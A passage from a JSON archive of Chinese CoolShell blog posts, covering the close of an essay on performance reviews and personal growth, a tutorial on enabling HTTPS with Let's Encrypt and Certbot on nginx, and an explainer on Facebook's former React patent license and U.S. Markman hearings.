对职场人想说的话\n\n\n那么，对于个人来说，如何面对公司给自己的绩效考核呢？如何面对他们的绩效考核呢？\n\n\n还是用学校考试分数来做对比，如果说，用考试分数论英雄，一个人考高分就是绩效上的人才，考不及格的人就是人渣，这对吗？当然不是。也许仅于对于考试来说可以把人分成三六九等，但是对于整个人生来说，考试成绩和一个人在这个社会里的的成就并没有非常直接的因果关系。面对现实的社会，最终很多成绩好的人为成绩差的人工作的例子也有很多很多了。\n\n\n我想说什么？我想说的是——**用一颗平常心来面对公司给你打的分数，因为那并不代表你的整个人生。但是，你要用一颗非常严肃的心来面对自己的个人发展和成长，因为这才是真正需要认真对待的事。**\n\n\n换句话说，**如果要给一个人打绩效分，那不是由一个公司在一个短期的时间时打出来，而是由这个人在一个长期的时间里所能达到的成就得出来的。**\n\n\n就像WhatsApp的联合创始人Brian Acton 在 2009年时面试Facebook时没有面试通过，然而在 5 年以后，他把自己创办的公司以190亿美元卖给了FaceBook。阿里巴巴的马云不也一样吗？找工作各种被拒，开办的第一个公司成绩也不好，20年前，一堆人都说马云这也不行那也不行，然而，后面呢？反过来说，也很多职业经理人在公司里绩效非常好，然后到了创业公司却搞得非常的糟糕，这又说明了什么呢？\n\n\n这就像动物一样，有的动物适合在水里生活，有的动物适合在陆地上，鱼在陆地上是无法生存的，你让老虎去完成游泳的工作，你让鱼去完成鸟类的工作，你能考核到什么呢？**我们每个人都有适合自己的环境，找到适合自己的环境才是最关键的！与其去关注别人对自己的评价，不如去寻找适合自己的环境。**\n\n\n所以，**一个特定环境下的绩效考核并不代表什么，而那些妄图用绩效考核去否定一个人的做法，或多或少就是“法西斯”或“红卫兵”的玩法**。\n\n\n好了！让我们不要再说绩效考核了，让我们回到，真正让自己提高，让自己成长，让自己的强的话题上来吧。这里，我需要转引一篇文章《[Do the Right Thing, Wait to get fired](https://brendansterne.com/2013/07/11/do-the-right-thing-wait-to-get-fired/)》，文中提到《 [Team Geek](https://www.amazon.cn/gp/product/1449302440)》这本书中的一句话\n\n\n\n> **做正确的事情，等着被开除。**\n> \n> \n> 谷歌新员工(我们称做“Nooglers”)经常会问我是如何让自己做事这么高效的。我半开玩笑的告诉他们这很简单：**我选择做正确的事情，为谷歌，为世界，然后回到座位上，等着被开除。如果没有被开除，那我就是做了正确的事情——为所有人。如果被开除了，那选错了老板。总之，两方面，我都是赢**。这是我的职业发展策略。\n> \n> \n\n\n注明一下，“做正确的事，等着被开除”并不是一句鸡汤，而是让你变强大的话。因为强者自强，只有强者才能追求真理，而不是委曲求全。\n\n\n嗯，**考试分数不是关键，别人对你的评价也不是关键，自己有没有成长有没有提高有没有上一个台阶才是关键。KPI不是关键，OKR也不是关键，有没有在做正确的事，这才是关键！**不是这样吗？\n\n\n#### 其它\n\n\n我大学四年级时，觉得马上就要离开学校了，当时想干点以后再以没有机会干的事。想来想去，就是上学这么多年来，从来没有不及格过，于是我任性了一把，挂了一个科，去补考了一下。挂科的时候也收到一些同学的笑话，还有老师的批评，不过，这让我感觉我的学校经历更完整了。因为，这让我在22岁的时候，就经历并大概明白了一些人生的道理。\n\n\n从98年工作到2013年来，就像一个好学生一样，我从来没有出现过任何的工作绩效问题，反正还经常在工作中成为标杠型的人，然并卵，只有自己成长才是最真实的感觉。“做正确的事，等着被开除”，这可能是我迄今为止在职场里做的最疯狂也是最正确的事了。因为，这让我有更多的经历，让我从正确的事中得到提高，也让我内心变得越来越强大，也让我找到了更具挑战的事，更让我对自己有更清楚的认识。\n\n\n最后，我知道一定会有人来怼我，所以，最后我还想留段话，留给那些还是想通过绩效来否定人的人。\n\n\n如果你对我的绩效或技术能力有怀疑，没问题，那么希望你能做到下述我已做到的事，再来喷我，谢谢！\n\n\n“**在你40岁，在父亲病重，孩子上学问题、房贷并未还清、你是全家唯一收入来源之类的中年危机的情况下，辞去你现在的工作，不加入任何一家公司，不用自己的任何一分钱积蓄，不要任何人的投资和帮助。只通过自己的技术能力，为别人解决相应的技术难题（不做任何无技术含量的外包项目），来生存养家，并除了能照顾好自己的家人没有降低自己的生活水平之外，还能再养活3个每人年薪36万元的工程师**”\n\n\n请问这样的绩效能打个几分呢？呵呵。\n\n\n当然，不管怎么说，我还有很多路要走，还有很多不足，我还要继续努力。所以，我挑了一条对我来说最难走的路，作死创业……\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [我看绩效考核](https://coolshell.cn/articles/17972.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-8-26 如何免费的让网站启用HTTPS.md",
    "content": "---\nlayout: post\ntitle: 如何免费的让网站启用HTTPS\ndate: 2017/8/26/ 6:6:17\nupdated: 2017/8/26/ 6:6:17\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/08/enable-https-banner.png)今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。\n\n\n我用的是 [Let’s Encrypt](https://letsencrypt.org)这个免费的解决方案。Let’s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由[互联网安全研究小组](https://letsencrypt.org/isrg/)（ISRG – Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括[电子前哨基金会](https://www.eff.org \"电子前哨基金会\")，[Mozilla基金会](https://www.mozilla.org/foundation/ \"Mozilla基金会\")，[Akamai](https://www.akamai.com/ \"Akamai\")以及Cisco等公司（[赞助商列表](https://letsencrypt.org/sponsors/)）。\n\n\n2015年6月，Let’s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let’s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。\n\n\n\n以上介绍文字来自 Wikipedia 的 [Let’s Encrypt 词条](https://zh.wikipedia.org/wiki/Let%27s_Encrypt)。\n\n\n为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 [Certbot](https://certbot.eff.org)，就可以完成。\n\n\n1）首先，打开 <https://certbot.eff.org> 网页。\n\n\n2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，`nginx` 和 `Ubuntu 14.04`\n\n\n3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。\n\n\n以Coolshell.cn为例 – Nginx + Ubuntu\n\n\n首先先安装相应的环境：\n\n\n\n```\n\n$ sudo apt-get update\n$ sudo apt-get install software-properties-common\n$ sudo add-apt-repository ppa:certbot/certbot\n$ sudo apt-get update\n$ sudo apt-get install python-certbot-nginx\n\n```\n\n然后，运行如下命令：\n\n\n\n```\n\n$ sudo certbot --nginx\n\n```\n\n`certbot` 会自动检查到你的 `nginx.conf` 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 `nginx.conf` 了。\n\n\n你打开你的 `nginx.conf` 文件 ，你可以发现你的文件中的 `server` 配置中可能被做了如下的修改：\n\n\n\n```\nlisten 443 ssl; # managed by Certbot\nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot\nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot\ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot\n```\n\n和\n\n\n\n```\n # Redirect non-https traffic to https\nif ($scheme != \"https\") {\n  return 301 https://$host$request_uri;\n} # managed by Certbot\n```\n\n \n\n\n这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（[关于性能你可以看一下这篇文章](http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/)）。需要开启HTTP/2其实很简单，只需要在 `nginx.conf` 的 `listen 443 ssl;` 后面加上 `http2` 就好了。如下所示：\n\n\n\n```\nlisten 443 ssl http2; # managed by Certbot \nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot \nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot \ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot\n```\n\n然后，就 `nginx -s reload` 就好了。\n\n\n但是，**Let’s Encrypt 的证书90天就过期了**，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 `crontab` 了。使用 `crontab -e` 命令加入如下的定时作业（每个月都强制更新一下）：\n\n\n\n```\n0 0 1 * * /usr/bin/certbot renew --force-renewal\n5 0 1 * * /usr/sbin/service nginx restart\n```\n\n当然，你也可以每天凌晨1点检查一下：\n\n\n`0 1 * * * certbot renew` \n\n\n注：crontab 中有六个字段，其含义如下：\n\n\n* 第1个字段：分钟 (0-59)\n* 第2个字段：小时 (0-23)\n* 第3个字段：日期 (1-31)\n* 第4个字段：月份 (1-12 [12 代表 December])\n* 第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])\n* /path/to/command – 计划执行的脚本或命令的名称\n\n\n**这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……**\n\n\n当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。\n\n\n**启用HTTPS后，你的网页中的所有的使用 `http://` 的方式的地方都要改成 `https://` 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉**。所以，你还需要修改你的网页中那些 hard code `http://` 的地方。\n\n\n对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。\n\n\n1）首先是 wordpress的 常规设置中的 “**WordPress 地址**” 和 “**站点地址**” 需要变更为 https 的方式。\n\n\n2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “[Search Regex](https://wordpress.org/plugins/search-regex/)” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 `http://coolshell.cn` 替换成了 `https://coolshell.cn`\n\n\n3）如果你像我一样启用了文章缓存（我用的是[WP-SuperCache](https://wordpress.org/plugins/wp-super-cache/)插件），你还要去设置一下 “**CDN**” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。\n\n\n基本上就是这些事。希望大家都来把自己的网站更新成 https 的。\n\n\n嗯，12306，你什么时候按照这个教程做一下你的证书？\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\n* [![Web工程师的工具箱](../wp-content/uploads/2012/12/webtoolbox-150x150.jpg)](https://coolshell.cn/articles/8767.html)[Web工程师的工具箱](https://coolshell.cn/articles/8767.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\nThe post [如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-9-19 关于Facebook 的 React 专利许可证.md",
    "content": "---\nlayout: post\ntitle: 关于Facebook 的 React 专利许可证\ndate: 2017/9/19/ 6:8:0\nupdated: 2017/9/19/ 6:8:0\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/09/react_patent-360x200.jpg)随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PATENT的许可证问题了。这让我想起了之前在Medium读过的一篇文章——《[React, Facebook, and the Revocable Patent License, Why It’s a Paper](https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562)》，我觉得那篇文章写的不错，而且还是一个会编程的律师写的，所以有必要把这篇文章传播到中文社区这边来。注意，我不会全部翻译，我只是用我的语言来负责搬运内容和观点，我只想通过这篇文章让大家了解一下这个世界以及专利相关的知识，这样可以避免你看到某乎的“怎么看待XXX”这类的问题时人云亦云，能有自己的独立思考和自我判断。;-)\n\n\n这篇文章的作者叫Dennis Walsh，他自称是亚历桑那和加利福尼亚州的律师，主要针对版权法和专利诉论的法律领域。但是这个律师不一样，他更很喜欢商业和软件多一些。现在他用React/GraphQL/Elixir在写一个汽车代理销售相关的软件，而且已经发布到第2版了。\n\n\n首先，作者表明，专利法经常被人误解，因为其实充满了各种晦涩难懂的法律术语，所以，作者用个例子来讲述专利的一个原则 —— **专利并不是授于让你制造或开发的权利，而是授予你可以排他的权利。（**事实上似乎也是这样，申请专利很多时候都不是为了制作相关的产品，而是为了防止别人使用类似的技术制作相关的产品）\n\n\n\n如果有公司X为铅笔申请了专利，而另一家公司Y为把用于铅笔的橡皮擦申请了专利。那么，公司X可以阻止公司Y来生产铅笔，而对带橡皮擦的铅笔没办法，但是公司Y的专利可以让公司X不能生产带有橡皮擦的铅笔。\n\n\n所以，公司Y的橡皮擦专利又被广泛地叫作“[Blocking Patent](https://definitions.uslegal.com/b/blocking-patent/)”。公司Y不能说他发明了铅笔，因为这是公司X的专利，但是，他们可以让公司X无法对铅笔做出某些改进。\n\n\n于是，因为这种 Blocking Patent 存在，对于开源的公司是不利的，因为根据上面的那个例子来说，开源公司就是公司X，他们做了一个基础的软件，而公司Y在上面做了些改进，并注册成了专利，从而导致开源的公司X无法对它基础开源软件作出被公司Y专利阻止的改进，开源的公司X希望能够自由地使用公司Y的橡皮擦专利，因为毕竟是它发明了铅笔并放弃了铅笔的专利。\n\n\n于是就出来了“专利反击条款”（[Patent Retaliation Clauses](https://en.wikipedia.org/wiki/Software_patents_and_free_software#Patent_retaliation)）。一般来说有两种专利条款，一种是弱条款，一种是强条款。\n\n\nWeak Patent Retaliation Clauses – 这种条款声明，如果许可证持有者用某个专利来打击许可证颁布者，那么专利就视为终止。用人话来表达就是，公司X做了一个开源铅笔，而公司Y注册了橡皮檫专利。此时，公司X做了一支带像皮擦的铅笔，而公司Y马上对公司X提起专利侵权诉讼。那么，公司Y就失去了对底层铅笔的专利控制。（正如前面所说的，公司Y的橡皮擦专利因为在起诉公司X的开源铅笔，而失去了对开源铅笔的专利排他权利）\n\n\nStrong Patent Retailiation Clauses – 这种条款声明比“弱条款”要的更多。具体来说就是，任何专利声明终结许可证，而不管这个专利有没有和你基础的软件有关系。用人话来说就是，公司Y使用他们的热气球专利来起诉公司X，那么公司Y就失去了他们对铅笔的专利限制。\n\n\n我个人理解起来，这两种条款看上去是防御性质的。\n\n\nFacebook的React的Patent License如下：\n\n\n\n> The license granted hereunder will terminate, automatically and without notice,if you (or any of your subsidiaries, corporate affiliates or agents) initiatedirectly or indirectly, or take a direct financial interest in, any Patent Assertion: (i) against Facebook or any of its subsidiaries or corporateaffiliates, (ii) against any party if such Patent Assertion arises in whole orin part from any software, technology, product or service of Facebook or any ofits subsidiaries or corporate affiliates, or (iii) against any party relating to the Software. Notwithstanding the foregoing, if Facebook or any of itssubsidiaries or corporate affiliates files a lawsuit alleging patentinfringement against you in the first instance, and you respond by filing apatent infringement counterclaim in that lawsuit against that party that isunrelated to the Software, the license granted hereunder will not terminateunder section (i) of this paragraph due to such counterclaim.\n> \n> \n\n\n这些条款中和基础软件没有任何关系，所以，**这个条款是“强专利反击条款”**。\n\n\n在后面，本文的作者又解解释了，为什么React的“强专利反击条款”就跟没有似的。他在文中针对一些歇斯底里的言论，如：“Facebook不用害怕专利诉讼了，而且他可以随时偷袭你家的专利仓库”，也作出了一些解释来分析这个事。\n\n\nContractural Liability – 意思是说，专利方面的东西只会影响专利上的事，而不会影响和专利无关的事，React底层协议是BSD-3许可证还是会被保留。换句话说，React的“强专利反击条款”只生效于专利层面，而不会对非常专利的软件使用产生问题，如果和专利无关，React还是走BSD-3的许可协议。\n\n\nCopyright Liability – 这个和Contractural Liablitity 一样。作者说，如果有人有特别的案例或是有说服力的论据来说明Facebook的这个条款会作用于非专利的地方，那么，请告诉他。\n\n\nPatent Liability – 专利的责任和损害是两件事，非专业人士总是会把其搞混。\n\n\n第一个问题是Liability， 要搞清这个事，得搞清“Patent’s Claims”，而不是这个技术的技术规格说明，技术规格说明和权力主张是两码事。作者说，现在的很多专利都是一些想法，很多投机份子随便一拍脑袋就发明出一个想法，然后就去注册专利了。但是可以被用来法律执行的只有“Patent’s Claims”（专利的权利主张），而不是那些想法。这些权利主张相当相当的晦涩难读，而且是会故意被模糊掉的，因为，当你清楚的定义了你的发明是什么，那么，就可以清楚的定义出来什么不是你的发明。比如：一个铅笔专利权利主张里说，“这一个用石墨和木头组合起来的写字工具”，那么，只要我不用木头和石墨来做组合，而是用塑料来做组合，那么我就不是专利侵权。所以，一般来说，专利主张是会更为通用一些，比如，“这是一个用于涂画表面的装置，其包括：与涂画端相连的握持端”。作者这里给了一个[苹果公司的滑动解锁专利](https://www.google.com/patents/US8046721)的示例。可以感受一下产品规格说明和专利权利主张完全是两码事。\n\n\n专利这些事，在法律界里是非常非常困难作出评估的。所以，这个社会每年都会给律师们几十亿美金来一遍又一遍地回答这些问题，而且律师还经常回答错了。而对于美国的法律，对于专利诉讼会有一个叫[Markman hearing的审前听证会](https://en.wikipedia.org/wiki/Markman_hearing)（马克曼听证会），自从1996年美国最高法的“[马克曼诉威斯幽仪器公司案](https://en.wikipedia.org/wiki/Markman_v._Westview_Instruments,_Inc.)”这个听证会就变成了一个惯例，美国联邦法院用这个听证会来向决定专利权利主张的解释，而且，上诉法院还经常性的推翻审判法院的裁决。（对于美国法律来说，一般是法官认证法律，陪审团认定事实，然而，对于专利而言，1996年的那个案件认为专利术语是一个需要法官决定的法律问题，而不是陪审团决定的事实问题。关于马克曼听证会的事，可以参看本文未尾的附录）\n\n\n所以，要决定Facebook的专利责任，我们需要评估Facebook的专利及其权利主张，而不是技术规格说明。具体来说，要明确Facebook对于React这个底层技术的专利权利主张是什么？但是作者搜了一下，发现什么也没有找到。也就是说，对于USPTO（美国专利商标局）或法院来说，他们没办法对Facebook的这样没有为React申请专利的方式来执行任何和专利的诉讼，也就是说，Facebook的这个React License的条款，美国政府是无法在法律上支持的。\n\n\n第二个问题是专利损害。就算是Facebook可以评估出来一个合法可执行的专利来保护React，对于专利损害也是很有问题的。作者说他到目前还没有发现一个开源软件被专利侵权的事，就算有这样的案例，也不会是这里说的这个事。作者觉得在这个事上操作起来就是一个笑话。\n\n\n另外，作者认为，React 专利许可证这个事就是个纸老虎。因为，一方面，这个专利不像电信通讯里的那些专利，你拿不掉。作者认为要从你的代码中把React去掉虽然难，但是也不是什么很难的事，另外，要打这样的专利官司，一般来说，在美国至少要花100-200万美金的费用才能发起诉讼，而要胜诉则需要需要200多万到2000万美金的费用，你觉得你要花多钱才能把React从你的代码库中剔除？肯定比这钱少。\n\n\n作者还认为，Facebook玩这个事虽然出发点不错，但是感觉并不聪明，从目前的情况看下来，就像他想咬你一口，但却没有牙。\n\n\n后面，作者还说了一下，转成别的框架会不会有问题？比如：你用Preact/Vue或是你自研的东西？作者说，未必，如果Facebook真的为React注册了专利，比如：React里的组件技术、虚拟DOM渲染技术等等。那么，你用Preact/Vue或是带这样技术的自研的框架，那么，从你使用的第一天就在侵犯Facebook的专利权了。然而，使用React反而不会有这么大的风险，因为Facebook让你免费的用React。作者说，用别的框架的法律风险比用其它替代品的风险更高。\n\n\n后面，作者也更新了一篇文章 《[Using GraphQL? Why Facebook Now Owns You](https://medium.com/@dwalsh.sdlr/using-graphql-why-facebook-now-owns-you-3182751028c9)》，意思是，用React可能还好，但是用GraphQL就有问题了。因为找到了GraphQL的专利—— [“Graph Query Logic”](https://patents.google.com/patent/US9646028)。\n\n\n后来我查了一下，我发现，React也有个相关的专利—— “[Efficient event delegation in browser scripts](https://patents.google.com/patent/US9003278) ”，看上去和虚拟DOM渲染有关。Holy Shit!\n\n\n好了，用还是不用React我也不知道，总之，这个世界比较复杂，我只是想借这篇文章来学习一下法律上的相关东西，欢迎听到大家的观点。\n\n\n最后，请允许我调侃一下来结束本文——“不用担心React的许可证问题，因为前端不是一年半就用新的框架重写一次么？”哈哈。\n\n\n**更新：Facebook官方于20017年9月23日在其官方blog上发贴《[Relicensing React, Jest, Flow, and Immutable.js](https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js)》决定取消之前的带专利的许可证。**\n\n\n#### 延伸阅读\n\n\n##### 马克曼听证会 – Markman Hearing\n\n\n马克曼听证会的一些背景知识，下面的文字来源于《[“马克曼听证”制度的由来及启示](http://www.sipo.gov.cn/sipo2013/mtjj/2013/201303/t20130320_788543.html)》\n\n\n与美国专利诉讼的悠长历史相比，1996年才经美国最高法院确立的“马克曼听证”（Markman Hearing，也称为Claim Construction，即权利要求书的解释）无疑是一项年轻的制度。但由于几乎所有的专利侵权诉讼中都会遇到涉案专利权利要求书的解释这一核心问题，且因“马克曼听证”结果往往清楚地预示了案件结果，经“马克曼听证”获得有利结论的一方一旦据此向法庭提起不审即判的动议，专利侵权诉讼往往可就此快速了结，因此该制度的确立成为美国专利诉讼历史上的一件大事。\n\n\n“马克曼听证”制度的由来\n\n\n“马克曼听证”制度确立之前，在专利侵权诉讼中的权利要求书解释，通常交由陪审团在对案件事实进行裁决时一并做出，且并不会在诉讼文件上单独就陪审团这一问题的判断进行记录。1991年，马克曼（Markman）先生因认为其拥有的专利号为RE33054的“干洗衣物贮存及追踪控制装置”专利权被Westview公司所侵犯，遂向宾夕法尼亚州东区联邦地方法院提起了专利侵权诉讼。\n\n\n该专利是用扫描的方式，将客户的衣物编号扫描后输入电脑中做分类标示，并在衣物干洗过程中追踪衣物位置，干洗完成后自动将衣物放回客户固定的存贮位置。被告的产品则是同时运用扫描器和电脑两种方式，将客户干洗衣物的资料存入电脑并显示费用、日期等相关信息。本案陪审团的裁决认为被告装置构成对原告专利权利的侵犯，但该地方法院认为系争专利与被告装置在功能实施上并不一致，遂推翻陪审团的裁决，判决被告不构成侵权。\n\n\n马克曼不服，于1995年向联邦上诉法院提起上诉，但其上诉理由仅为联邦地方法院错误地解释了陪审团关于专利权利要求书解释中某个词语的涵义。联邦上诉法院在审理该案时，将案件的核心问题定为两个：一是原告对于请求项解释有无权利请求陪审团裁决;二是联邦地方法院是否正确地解释了“Inventory”一词。该院多数法官经审理后认为，权利要求书范围的解释与确定，属于法律问题而非事实问题，因而属于法院权限，而不应交由陪审团决定，且此前将此问题交由陪审团确定并不妥当。同时，由于认为原告专利与被告装置存在实质功能上的差异，联邦上诉法院亦不认为被告构成专利侵权。少数持不同意见的该院法官主要是质疑这一结论违反了美国第七宪法修正案（即所有根据美国法律进行的普通法诉讼，只要争议金额超过20美元，即有要求陪审团审判的权利）。\n\n\n马克曼不服，向最高法院提出上诉。1996年4月23日，美国最高法院就马克曼诉Westview器械公司案（Markman v. Westview Instruments, Inc. 517 U.S. 370 （1996））做出终审裁决，裁决认定：权利要求书的解释是联邦地区法院法官应当处理的法律问题，而不是应当由陪审团来认定的事实问题，尽管在解释权利要求书的过程中可能会包含一些对于事实问题的解释，且这样做并不违反第七修正案赋予给陪审团的权利。这一裁决标志着“马克曼听证”制度的正式确立。\n\n\n“马克曼听证”制度的不足\n\n\n该案判决是美国专利诉讼史上的一个重大转折。“马克曼听证”成为法官专门用于解释专利权利要求的一个经常性听证程序，用以解决专利侵权诉讼的核心问题。由于该听证并非普遍适用，因此，十几年来，联邦民事诉讼规则并未正式对其有任何规定，而是给予法院绝对的自由裁量权。但是，何时可以进行“马克曼听证”?如何进行?是否有必要进行?类似问题在一定程度上困扰了审理专利侵权案件较多的法院。\n\n\n2001年，加州北区联邦地区法院率先制定了供本法院使用的专利审判专属规则（Patent Local Rules），其中第四部分即为权利要求书的解释程序（Claim Construction Proceddings），对“马克曼听证”的时间、流程、限制及当事人的义务均进行了规定。此后，各州纷纷效仿。目前，乔治亚州北区联邦法院、得克萨斯州东区联邦法院、得克萨斯州南区联邦法院、宾夕法尼亚州西区联邦法院等都制订了书面的“马克曼听证”程序指南。近年来，不断有新的案例在解释与细化着“马克曼听证”，如2006年的Wilson Sporting Goods Co.诉Hillerich & Bradsby Co.案，2005年的Phillips诉AWH Corp.案，2008年的Howmedica Osteonics Corp.诉Wright Medical Technology, Inc.案，这些司法实践大大拓展与丰富了“马克曼听证”使用的实体和程序规则，使之日渐成为美国专利诉讼中一个复杂、完备的司法程序。以至于竟然有人开发了模拟“马克曼听证”程序，只要你愿意，可以下载并训练，以熟悉和确保有真正的权利要求书解释时不会出现不利于自己的问题。\n\n\n但是，该听证带来的问题也逐渐受到重视。有人质疑说该程序导致专利诉讼费用增加，因为“马克曼听证”通常会单独进行，且程序复杂，因此导致当事人花费大量的时间与精力，更为重要的是，由于40%至60%的联邦地区法院案件会在联邦巡回上诉法院被推翻，因此，花费巨大的“马克曼听证”似乎价值有限。同时，权利要求书的解释要求是不多不少，忠实于技术发明思想与发明事实，但由于地区法院分散，法官的相关技术知识不十分专业，将权利要求书解释这样的问题交给他们，难免会带来一些无法克服的问题。\n\n\n“马克曼听证”制度的启示\n\n\n我国民事诉讼中并无陪审团制度，案件的事实问题与法律问题均由法官审理与确定。在专利侵权诉讼中，对于案件中涉及到的技术问题可以通过专家鉴定等方式解决，但并不因此免除法官审理案件的义务，即法律问题的判断归于法官，事实的法律属性判断仍然归于法官。同时，权利要求书的解释在我国的专利侵权诉讼中并不是一个单独的程序，而是合并在案件审理过程中。因此，仅就我国的司法审判而言，“马克曼听证”制度并无直接的借鉴意义。\n\n\n但是，对于那些已经走出和正在走出国门的企业来说，了解与掌握这一重要的专利诉讼程序却是极其重要的。通领科技集团的积极尝试充分证明了这一点，而且随着这一程序的不断成熟，美国国际贸易法院（ITC）也开始在审理时适用“马克曼听证”制度。所以，知道“马克曼听证”意味着什么，确保所提交的用于解释权利要求的文件确实充分，学会利用“马克曼听证”，无论是对于破解美国的专利诉讼威胁，还是为未来准备有效的法律武器，无疑都非常重要。（知识产权报　作者　魏玮）\n\n\n \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/7448.html)[扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4549.html)[Facebook 的系统架构](https://coolshell.cn/articles/4549.html)\n* 